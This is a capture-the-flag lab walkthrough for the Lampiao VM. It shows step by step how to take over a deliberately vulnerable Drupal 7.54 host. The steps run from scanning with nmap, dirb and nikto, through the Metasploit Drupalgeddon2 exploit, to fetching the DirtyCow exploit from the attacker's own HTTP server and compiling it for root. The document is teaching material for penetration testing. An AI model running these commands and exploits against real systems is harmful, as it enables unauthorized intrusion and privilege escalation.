# Lab - Capture the Flag Walkthrough – Lampiao

# Overview

In this lab, you will be shown how to gain root access to a virtual machine designed as a challenge the flag (CTF) exercise. This CTF is rated as intermediate. These walk-throughs are designed so students can learn by emulating the technical guidelines used in conducting an actual real-world pentest.

## Caveat

The Lampiao VM is available as an OVA file and only works with VirtualBox. For VirtualBox users, I recommend setting both the network adapters for your Kali and Lampiao virtual machines to Bridged networking and going into the settings of your Lampiao and disabling USB support. Otherwise, you will receive the errors letting you know the VM could not be started.

The Lampiao OVA file can be downloaded here.

**CTF** Description

Difficulty: Easy

Flags: There is one flag

DHCP: Enabled IP Address: Automatically assigned

This image is downloaded as an OVA image which allows it to be imported into VirtualBox as an appliance. Once you download the image, you will need to extract the contents of the archive to gain access to the OVA file.

Open your VirtualBox management console and from the file menu, select; Import Appliance. Browse to the located of the extracted OVA file and x2 click it. Prior is importing the image into VirtualBox you will have an option to change the name of the image from 'vm' to 'Lampiao,' uncheck the box for USB support and change the network type to Bridged Networking.

Ensure your Kali and the target are configured for Bridged Networking.

Allow the image to be imported. Start when you are ready.

Network Enumeration

Tip!

Use ifconfig to find the IP address of your attack machine before you begin.

I'm working inside a directory located on my desktop called Lampiao. I suggest you do the same. We start the enumeration process by running netdiscover on our network to find the IP of our Target VM.



In this example, I told netdiscover to use my eth0 interface.

```
netdiscover -i eth0
```

File Edit View Search Terminal Help	
<pre>root@kali:~/Desktop/lampiao# netdiscover -i eth0</pre>	

Very quickly, the target machine is identified as 192.168.0.30. The Kali machine is .29. Your results may differ. The target name for all these CTF targets remains PCS Systemtechnik GmbH.

	root@kali: ~/Desktop/lampiao						
<u>F</u> ile <u>E</u> dit <u>V</u> iew <u>S</u> earch	<u>T</u> erminal <u>H</u> elp						
Currently scanning: 1	192.168.40.0/16	5   Sc	reen	View: Unique Hosts			^
4 Captured ARP Req/Re	ep packets, fro	om 4 hosts	. т	otal size: 240			1
IP At M	AC Address	Count	Len	MAC Vendor / Hostnam	e		
192.168.0.1 80:29	9:94:67:8e:98	1	60	Technicolor CH USA I	nc.		1
192.168.0.30 08:00	0:27:2a:0e:84	1	60 60	PCS Systemtechnik Gm	bH		
192.168.0.27 18:3	1:bf:b1:5d:e3	1	60	ASUSTER COMPUTER INC	•		
root@kali:~/Desktop/la	ampiao#						1

Now that we have the target's IP address be can begin scanning for vulnerable ports and services available on the target machine. For this purpose, nmap is used.

nmap 192.168.0.30 -p- -sV

				r	oot@	kali: ~/Desktop/la	ampiao	
File	Edit	View	Search	Terminal	Help	)		
root(	kali	:~/Des	sktop/la	ampiao# n	map	192.168.0.30	-ps	V

Nmap scan results

root@kali	i:~/Des	ktop/lam	npiao# nn	nap 192.	168.0.30	)-psV		<b>^</b>
Starting	Nmap 7	7.70 ( ht	tps://nn	nap.org	) at 201	L9-06-10 00	0:49 EDT	
Nmap scar	n repor	t for 19	2.168.0	30				
Host is a	up (0.0	00017s la	atency).					
Not shown	n: 6553	2 closed	ports					
PORT	STATE	SERVICE	VERSION					
22/tcp	open	ssh	<b>OpenSSH</b>	6.6.1p1	Ubuntu	2ubuntu2.7	7 (Ubuntu Lin	ux; protocol
2.0)	- M	Industry of the second						
80/tcp	open	http?	698 - 8		1949 1			
1898/tcp	open	http	Apache h	nttpd 2.4	1.7 ((Ut	ountu))		

We have three ports running on the target.

## SSH

SSH running is running using an updated version so trying the brute force our way over SSH would probably be a waste of time. Push this to the back of the line.

HTTP Running on Port 80

Port 80 is not open or not responding.

HTTP running on port 1898.

We have another port running an instance of HTTP.

Vulnerability Analysis

Let's access the web page using the machines IP address and port 1898. From your Kali machine, launch Firefox and in the address bar type,

http://192.168.0.30:1898



We are given a web application running on port 1898 with a register and login capability but trying to register fails with an error that the mail server is not working. Check it out.

Home	
<ul> <li>Unable to send e-mail.</li> <li>Unable to send e-mail.</li> </ul>	. Contact the site administrator if the problem persists. . Contact the site administrator if the problem persists.
Thank you for applying f In the meantime, a welco	or an account. Your account is currently pending approval by the site administrator. me message with further instructions has been sent to your e-mail address.
Userlogin	
Oser login	Lampião, herói ou vilão do Sertão?
Username *	
Username * Password *	LAMPIÃO, DO SERTÃO

Looking at the page source yielded nothing of use. Time to move on.

No mail server means no username and login will be sent. Let's minimize the browser. Let's see if dirb can identify any additional entry points.

dirb http://192.168.0.30:1898/

				root@kali: ~/Desktop/lampiao
File	Edit	View	Search	Terminal Help
root(	kali	:~/Des	sktop/la	ampiao# dirb http://192.168.0.30:1898/

The scan takes a few minutes to run. Nothing is going on here either. Looking at the source code of the different pages yielded nothing.

					root@kali:	~/Desktop/la	mpiao
File	Edit	View	Search	Terminal	Help		
root	@kali	:~/De	sktop/la	ampiao# c	lirb htt	p://192.168	8.0.30:1898/
DTRB	v2.2	2					
By T	he Da	۔ rk Rav	/er				
CTAD	T TTM	Г. Мо.	. Jun 14	0 01.21	6 2010		
	BASE:	httn	1 JUN IO	0 01:21:3 168 0 30.	1898/		
WORD	LIST	FILES	/usr/s	share/dir	b/wordl	ists/commo	n.txt
	_						
GENE	RATED	WORD	. 4612				
OLNL		worte.	J. 4012				
	Scan	ning l	JRL: ht	tp://192.	168.0.3	0:1898/	
==>	DIREC	TORY:	http:/,	/192.168.	0.30:18	98/include	5/
+ ht	tp://	192.10	58.0.30	:1898/ind	lex.php	(CODE:200)	SIZE:11400)
==>	DIREC	TORY:	http://	/192.100.	0.30:18	98/modules.	,
==>	DIREC	TORY:	http://	/192.168.	0.30:18	98/profile:	s/
+ ht	tp://	192.10	58.0.30	:1898/rob	ots.txt	(CODE:200	SIZE:2189)
==>	DIREC	TORY:	http:/,	/192.168.	0.30:18	98/scripts,	
+ ht	tp://	192.10 TOPV:	58.0.30	:1898/ser	ver-sta	tus (CODE:4	403 SIZE:294)
==>	DIREC	TORY:	http://	/192.168.	0.30:18	98/themes/	
+ ht	tp://	192.10	58.0.30	:1898/web	.config	(CODE:200	SIZE:2200)
+ ht	tp://	192.10	58.0.30	:1898/xml	.rpc.php	(CODE:200	SIZE:42)

The directory structure does yield a possible vulnerability in the site. The site could be running a CMS (Client Management Software) application, and that could be vulnerable. Nikto can help us identify the name and the version of the application. From there, we can see if it has any known issues.

nikto -host http://192.168.0.30:1898



From the Nikto scan results, we learn that the web site is using Drupal 7

r

			root@ka	ali: ~/Desktop/lampiao
File Edit View	Search Terminal	Help		
<pre>root@kali:~/Desk - Nikto v2.1.6</pre>	ktop/lampiao# n	nikto -host http://19	92.168.0.30:1898	
+ Target IP: + Target Hostnam + Target Port: + Start Time:	192.168. ne: 192.168. 1898 lampi2019-06-	.0.30 .0.30 -10 01:51:09 (GMT-4)		
<pre>+ Server: Apache + Retrieved x-po + The X-XSS-Prot + Uncommon heade + OSVDB-3268: /s + OSVDB-3268: /s + Entry '/includ + OSVDB-3268: /m + Entry '/misc/" + OSVDB-3268: /m + Entry '/module</pre>	e/2.4.7 (Ubuntu owered-by heade tection header er 'x-generator scripts/: Direc includes/: Dire des/' in robots misc/: Director ' in robots.txt modules/: Direc es/' in robots.	u) er: PHP/5.5.9-lubuntu is not defined. This r' found, with conter ctory indexing found ectory indexing found s.txt returned a non- ry indexing found. t returned a non-fork ctory indexing found. .txt returned a non-f	u4.24 s header can hint to t nts: Drupal 7 (http:// d. -forbidden or redirect bidden or redirect HT <sup>.</sup> forbidden or redirect	the user agent to /drupal.org) t HTTP code (200) TP code (200) HTTP code (200)

If we check the CHANGELOG.txt, we further discover that the actual version for Drupal (7.54) is outdated and loaded with vulnerabilities.

$\left( \boldsymbol{\leftarrow}  ightarrow  \boldsymbol{C} \right)$	i) 192.168.0.3	<b>30</b> :1898/CHANG	ELOG.txt	
🌣 Most Visited   🍯 Getting Started	🔪 Kali Linux 👋	🕻 Kali Training	🌂 Kali Tools	🌂 Kali Docs
<ul> <li>Drupal 7.54, 2017-02-01</li> <li>Modules are now able to define the https://www.drupal.org/node/282648</li> <li>Logging of searches can now be dis interface).</li> <li>Added menu tree render structure t (API addition: https://www.drupal.</li> <li>Added new function for determining (API addition: https://www.drupal.</li> <li>Fixed incorrect default value for type configuration page.</li> <li>File validation error message is n file.</li> <li>Numerous bug fixes.</li> <li>Numerous API documentation improve</li> <li>Additional performance improvement</li> </ul>	me engines (AP 0). abled (new opt o (pre-)proces org/node/28271 whether an HT org/node/28245 short and medi low removed aft ments.	I addition: ion in the admi s hooks for the 34). TPS request is 90). um date formats er subsequent u	<pre>nistrative me_menu_tree() being served on the date pload of valid</pre>	Kau Docs
<ul> <li>Fixed incorrect default value for type configuration page.</li> <li>File validation error message is n file.</li> <li>Numerous bug fixes.</li> <li>Numerous API documentation improve Additional performance improvement</li> <li>Additional automated test coverage</li> </ul>	ow removed aft ments. s.	er subsequent u	pload of valid	
we can search metaspion to for any w	orking exploits	s related to Drup		

From a command type msfconsole.



At the MSF prompt, search for Drupal.

### search Drupal

From the search results, we see several working exploits. We need to try the latest exploit dated March of 2018.

<u>msf5</u>	> search Drupal				
Matc	ning Modules				
#	Name	Disclosure Date	Rank	Check	Description
:					
0	auxiliary/gather/drupal openid xxe	2012-10-17	normal	Yes	Drupal OpenID External Entity Injection
1	auxiliary/scanner/http/drupal views user enum	2010-07-02	normal	Yes	Drupal Views Module Users Enumeration
2	exploit/multi/http/drupal drupageddon	2014-10-15	excellent	No	Drupal HTTP Parameter Key/Value SQL Injection
3	exploit/unix/webapp/drupal coder exec	2016-07-13	excellent	Yes	Drupal CODER Module Remote Command Execution
4	exploit/unix/webapp/drupal drupalgeddon2	2018-03-28	excellent	Yes	Drupal Drupalgeddon 2 Forms API Property Injection
5	exploit/unix/webapp/drupal restws exec	2016-07-13	excellent	Yes	Drupal RESTWS Module Remote PHP Code Execution
6	exploit/unix/webapp/drupal restws unserialize	2019-02-20	normal	Yes	Drupal RESTful Web Services unserialize() RCE
7	exploit/unix/webapp/php xmlrpc_eval	2005-06-29	excellent	Yes	PHP XML-RPC Arbitrary Code Execution
msf5					

From the list of available working exploits, copy the number 4 from the list. At the msf prompt, type in the word use and then paste the name of the working exploit at the prompt.

use exploit/unix/webapp/drupal\_drupalgeddon2 This command tells Metasploit which exploit to use.

show options

This command shows all the options which are required to run this exploit.

The following options need to be configured.



set rhost 192.168.0.30 Sets the target machine IP address

set rport 1898 Sets the target machine port number show options

Used to verify that all the required options are properly configured.



Confirmation that the options are properly configured.

<u>msf5</u> exploit(un rhost => 192.16	ix/webapp/drupal_	drupalgedd	on2) > set rhost 192.168.0.30
msf5 exploit(ur	ix/webapp/drupal_	drupalgedd	on2)-> set rport 1898
rport => 1898			
msf5 exploit(ur	ix/webapp/drupal_	drupalgedd	on2) > show options
Module options	(exploit/unix/web	app/drupal	_drupalgeddon2):
Name	Current Setting	Required	Description
DUMP_OUTPUT	false	no	Dump payload command output
PHP FUNC	passthru	yes	PHP function to execute
Proxies		no	A proxy chain of format type:host:port[,type:host:port][]
RHOSTS	192.168.0.30	yes	The target address range or CIDR identifier
RPORT	1898	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
TARGETURI	1	yes	Path to Drupal install
		Circlass.	

Execute by running the exploit command as seen in the screenshot given below:



Once you have the Meterpreter prompt, Run the following commands.

shell

This is used to get the command shell of the target machine

id

This command tells the username of the current user

python -c 'import pty; pty.spawn("/bin/sh")' This command is used to take the Python interactive shell so that we can run the commands in interactive mode

uname -a

This command will tell us the kernel version of the target machine

cat /etc/issue

This command will tell us the operating system version, which is running on the target machine. With the name of the version of OS running on the target, we look for an exploit that will help us gain root access.



To help find the right exploit for our version of Linux running on the target, we can use the Linux privilege escalation auditing tool (LES)

Change to the directory of the targets tmp directory. Use the following wget command to download and save the script the targets tmp directory.

```
wget https://raw.githubusercontent.com/mzet-/linux-exploit-
suggester/master/linux-exploit-suggester.sh -0 les.sh
```

```
$ cd /tmp
cd /tmp
$_wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/li
nux-exploit-suggester.sh -0 les.sh
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linu
x-exploit-suggester.sh -0 les.sh
--2019-06-11 05:04:24-- https://raw.githubusercontent.com/mzet-/linux-exploit-s
uggester/master/linux-exploit-suggester.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.8.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com) | 151.101.8.13
3|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 79863 (78K) [text/plain]
Saving to: 'les.sh'
100%[========] 79,863
                                                        --.-K/s
                                                                 in 0.1s
2019-06-11 05:04:24 (574 KB/s) - 'les.sh' saved [79863/79863]
$
```

First, you need the change the permissions of the script so that anyone can run it and it will execute.

```
chmod +x les.sh
```

Next, you run the script using the following command:

./les.sh

DiDownload URL: https://www.exploit-db.com/download/40871 Comments: CAP_NET_RAW_capability_is_needed_OR_CONFIG_USER_NS=y_needs_to_be_enabled
[+] [CVE-2016-5195] dirtycow
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails Tags: debian=7 8,RHEL=5{kernel:2.6.(18 24 33)-*},RHEL=6{kernel:2.6.32-* 3.(0 2 6 8 10).* 2.6.33. 9-rt31},RHEL=7{kernel:3.10.0-* 4.2.0-0.21.el7}, [ ubuntu=16.04 14.04 12.04 ] Rank: 6
Download URL: https://www.exploit-db.com/download/40611 Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/de
fault/files/rh-cve-2016-5195_5.sh
[+] [CVE_2016_5195]/dirtycow_2ers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-C
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails Tags: debian=7 8,RHEL=5 6 7,[ <mark>ubuntu=14.04 12.04</mark> ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu
<pre>=16.04{kernel:4.4.0-21-generic} Rank: 6 Download URL: https://www.exploit-db.com/download/40839 ext-url: https://www.exploit-db.com/download/40847.cpp Commanda For Pute / ContoG come exact wull perceble warsigned here. https://access.redbat.com/sites/de</pre>
fault/files/rh-cve-2016-5195_5.sh

The scripts show us several suggestions we can consider. This is where we need to drill down and do our research. Most of these suggestions would require trial and error until at last, we find one that works. You can search the Internet and get plenty of feedback on the dirtycow 2 exploit and why it is the one we have chosen to use.

We next need to download and compile the exploit.

From your Kali terminal, open a browser and download the following exploit to your working directory located on the desktop. (Once the download completes, you can go into the downloads directory and move the exploit over to your working directory.)

https://www.exploit-db.com/exploits/40847



On your Kali machine, inside your working folder, start a simple HTTP server using the following python code.

```
python -m SimpleHTTPServer 80
```



On the target machine, change directory to the server's /tmp (universal writeable) directory.

\$ cd /tmp cd /tmp \$ pwd pwd /tmp \$ We next need to use the wget command to copy of the exploit form our Kali machine to the tmp directory of the target. From the shell prompt of the target, still inside the tmp directory, type the following command.

wget http://192.168.0.29/40847.cpp



Since the exploit is in the .cpp format we will next need to compile and execute the exploit; there were specific commands given in the code of the exploit.

<b>EDB-ID:</b> 40847	<b>CVE:</b> 2016-5195	Author: GABRIELE BONACINI	Type:	Platform:	Published 2016-11-27
EDB VERIFIED: 🗸		exploit: 👱 / {}		VULNERABLE APP: 🔽	

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

\$g++-Wa	ll -pedantic -C	02 -std=c++11	-pthread -	o dcow 4084	7.cpp -lutil	
g++ -Wall	-pedantic -02	-std=c++11 -p	thread -o	dcow 40847.	cpp -lutil	
\$						

This created a script called dcow that will launch the exploit and give us root access.



You are now logged on as root! Change your location over to the root directory, list the contents, and print out the content of the flag.text file.



### Summary

This CTF was not all that difficult. It had its moments, and it took me two days of trial and error to finally get to the root, but it was enjoyable.

One thing you must not do is blame the lab every time something does not work as you think it should. Keep your head, walk away, drink a cool one, and let your head clear. Once your ready for round 2, put back on the gloves and get back in the ring and start duking it out.

In this CTF, we learned the following methodology.

- Network scanning
- Directory brute-force attack
- Abusing HTTP web directories
- Compromise confidential
- Spawn tty shell (ssh login)
- SUID privilege escalation
- Get root access and capture the flag

Regards -

Prof. K